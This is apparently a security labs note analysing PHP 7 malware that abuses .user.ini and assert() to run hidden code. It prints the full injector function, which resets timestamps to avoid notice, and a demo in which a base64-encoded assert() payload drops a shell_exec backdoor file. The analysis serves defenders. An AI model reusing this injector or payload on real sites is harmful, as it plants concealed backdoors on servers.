Using assert() to Execute Malware in PHP 7 Environments

Labs Note

Initially released December 2015, PHP 7 introduced a multitude of performance and security improvements. Approximately 43.7% of websites across the web currently use PHP 7.x, making it an incredibly popular scripting language — which is likely why attackers are creating malware to target environments which leverage it.

During a recent investigation, our team stumbled across some malicious code which is used to inject a .user.ini file into a PHP 7 environment and add zend.assertions = 1. Once this injection is accomplished, bad actors can leverage PHP’s assert() function to execute any malicious code they like.

<?php
function __lambda_func()
{
    if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION == '7') {
        if (!file_exists('.user.ini') || strpos(file_get_contents('.user.ini'), 'zend.assertions = 1') === false) {
            $mtime = @filemtime('./');
            @file_put_contents(".user.ini", "zend.assertions = 1;\n", FILE_APPEND);
            @touch('./', $mtime, $mtime);
            @touch(".user.ini", $mtime, $mtime);
        }
    }
    assert_options(ASSERT_ACTIVE, true);
    assert_options(ASSERT_BAIL, true);
    assert_options(ASSERT_WARNING, false);
}

This code sample is specifically designed to deploy malicious code while concealing it from detection, and can be used to bypass security restrictions in the php.ini file. By creating a .user.ini file and setting the zend.assertions variable to 1, attackers can override the default php.ini file and leverage the assert() function to execute malware.

In a development environment where zend.assertions=1, an attacker’s malicious code will execute. If set to 0, the code will be generated but skipped at runtime, and in production environments where zend.assertions=-1, the code won’t even compile — essentially helping an attacker avoid detection by not burdening performance.

Here is one example of assert() being used to execute code to create a malicious backdoor. Note that zend.assertions has been set to 1:

$ grep "^zend.assertions" /etc/php/7.4/cli/php.ini
zend.assertions = 1

$ ls -la
total 8
drwxrwxr-x  2 core core 4096 May 01 10:08 .
drwxrwxr-x 10 core core 4096 May 01 10:00 ..

$ php -r 'assert(base64_decode("ZmlsZV9wdXRfY29udGVudHMoJ2luamVjdGVkLnBocCcsICc8P3BocCBlY2hvICJhbm90aGVyIGJhY2tkb29yXG4iOyBlY2hvIHNoZWxsX2V4ZWMoInVuYW1lIC1hIik7IGVjaG8gIlxuIjsnKTs="));'

$ ls -la
total 12
drwxrwxr-x  2 core core 4096 May 01 10:09 .
drwxrwxr-x 10 core core 4096 May 01 10:00 ..
-rw-rw-r--  1 core core   72 May 01 10:09 injected.php

$ cat injected.php
<?php echo "another backdoor\n"; echo shell_exec("uname -a"); echo "\n";

$ php injected.php
another backdoor
Linux core 4.4.0-150-generic #176-Ubuntu SMP Wed May 29 18:56:26 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

 

  assert(print("Some debug message\n"));
  assert(($val = "dev") || true);

On the other hand, here is what happens when the value is set to its default directive -1:

$ grep "^zend.assertions" /etc/php/7.4/cli/php.ini
zend.assertions = -1

$ ls -la
total 8
drwxrwxr-x  2 core core 4096 May 01 10:11 .
drwxrwxr-x 10 core core 4096 May 01 10:00 ..

$ php -r 'assert(base64_decode("ZmlsZV9wdXRfY29udGVudHMoJ2luamVjdGVkLnBocCcsICc8P3BocCBlY2hvICJhbm90aGVyIGJhY2tkb29yXG4iOyBlY2hvIHNoZWxsX2V4ZWMoInVuYW1lIC1hIik7IGVjaG8gIlxuIjsnKTs="));'

$ ls -la
total 8
drwxrwxr-x  2 core core 4096 May 01 10:11 .
drwxrwxr-x 10 core core 4096 May 01 10:00 ..

$

When finding this type of malware within a compromised environment, it’s very likely that other malicious code will have also been added to different files around the website.

Attackers use the assert() function to avoid detection from modern web scanners who typically look for more common PHP functions like eval. In some cases, the eval function could even be disabled on the hosting environment (Suhosin module) to prevent code from being executed and using assert() can bypass this type of restriction.

You May Also Like